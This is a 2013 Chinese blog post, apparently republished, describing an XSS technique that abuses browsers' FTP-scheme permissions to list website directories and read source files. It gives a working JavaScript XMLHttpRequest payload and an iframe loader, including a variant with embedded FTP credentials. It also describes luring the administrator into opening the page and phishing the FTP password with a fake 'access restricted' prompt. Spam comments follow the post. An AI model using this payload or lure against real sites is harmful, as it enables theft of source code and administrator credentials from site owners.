最新消息:

Firefox/chrome等FTP域内权限限制不严 可通过XSS遍历网站目录并获取源码

未分类 admin 5874浏览 0评论

Firefox/chrome等FTP域内权限限制不严 可通过XSS遍历网站目录并获取源码

2013-06-01 15:20

浏览器在FTP域内的CSRF问题,虽然遵守了同源策略,但不代表解决了所有问题。“可通过XSS遍历网站目录并获取源码”的环境要求有些苛刻,理论意义大于实际意义。

详细说明:只在IE9、firefox、chrome上做了测试,除IE之外,其他都同通过。
首先明确一点,浏览器在任意协议下,不论是http(s)、File还是FTP、UNC、MHTML、
Jar协议,遇到html扩展的文件都会进行渲染,当中的javascript同样会执行。
再看FTP下的权限问题:当使用FTP协议渲染某个女HTML文件时,这个文件伪造的请求可获得指定目录列表,也有权限读取任意指定路径的文件内容。
<script>
function createXMLHTTP()
{
    var xmlhttp = null;
    try
    {
        xmlhttp = new XMLHttpRequest();
    }
    catch (e)
    {
        try
        {
            xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
        }
        catch (e)
        {
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
    }
    return xmlhttp;
}

var request = false;
request = createXMLHTTP();
xmlhttp=request;
xmlhttp.open("GET", "/", false);//获取当前目录内容
//xmlhttp.open("GET", "a.php", false);  //获取指定文件的内容
xmlhttp.send(null);
var ret = xmlhttp.responseText;
alert(ret);
</script>

 

如果目标环境满足如下条件,那么你可以使用这种方式遍历网站目录或者获取指定源码。
1.管理员使用FTP管理网站
2.网站允许你上传html文件,或者有存在dom xss的html文件。
将你要读取的文件或目录写入payload.html(要想把获取的信息传到自己的服务器上只需多加几行代码即可,这里不再赘述),上传到网站中,假设你也能确定它的ftp路径:ftp://xx.com/upload/payload.html
上传跨域用的xss.html到网站目录中:
xss.html
<iframe src=ftp://xx.com/upload/payload.html></iframe>
假设上传后的路径为 http://xx.com/upload/xss.html
诱骗管理员访问 http://xx.com/upload/xss.html
最好的情况是管理员打开xss.html的同时,它也在登陆FTP或者会话未超时,再或者浏览器有记住ftp密码的功能,这样你便可以直接达成你的目的。
如果不满足上述情况,浏览器就会弹出FTP的登陆框,除非遇到极品管理员顺手输入了密码,否则payload.html不会执行.那么我们可以做什么?你可以在xss.html中写入
<b>访问受限,需要验证你的身份</b>
来进行钓鱼,骗他输入密码,当然成功率不敢保证。
还有种条件下也可使用这种方式,便是你得到了管理员FTP密码,但FTP server进行了访问控制,只有管理员的IP可以连接到,那么你可将xss.html修改为():
<iframe src=ftp://username:passworld@xx.com/upload/payload.html></iframe>
其他步骤不变。
承载着你一切猥琐梦想的Payload将在管理员的浏览器中静默的执行。

这是Chrome和firefox通过上述代码获取了当前的FTP目录

201306011520439513
201306011520443239
这是firefox获取了指定文件的内容,chrome的就不截图了
201306011520459666
有朋友给我说这算不上是浏览器的漏洞,我不置可否。XSS算浏览器的漏洞吗?
当然不算,那浏览器为什么要推XSS过滤器?何况IE已经注意到这个问题了,它的错误提示会告诉你“权限拒绝”。
不管它是不是漏洞,它确实是存在的。
爱梅小礼·菜客@C.E.T
2013.5.31 夜

转载请注明:jinglingshu的博客 » Firefox/chrome等FTP域内权限限制不严 可通过XSS遍历网站目录并获取源码

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (3)

  1. 上述方法讲的是一种ftp跨站的方法:将跨站代码放到html文件中,诱惑管理员点击html文件从而执行跨站代码。 亮点是:在管理员同时登陆FTP时,可以通过xss代码读取ftp源码。管理员没有登陆ftp时,会弹出ftp登陆界面。 学习到的知识:xss不仅可以获取cookie信息,还可以干很多事情,只要修改相应的xss脚本代码即可。xss脚本代码就是javascript代码,本质上javascript可以对页面操作的事情都可以通过xss代码来操作。如师兄写的文章中提到的:通过xss获取网页内容和所有a标签对应的链接的内容。
    admin12年前 (2013-06-03)回复
  2. Right now it serems ⅼike Wordpress іs tһe preferred blogging platform available rіght now. (from wһat I've read) Is that whɑt уоu're uѕing on youг blog? Hɑve а look ɑt my bloog - domino qq online
    domino qq online4年前 (2021-05-07)回复
  3. Caan you tell us more about this? I'd care to find out more details.
    www.vapepopular.com4年前 (2021-05-23)回复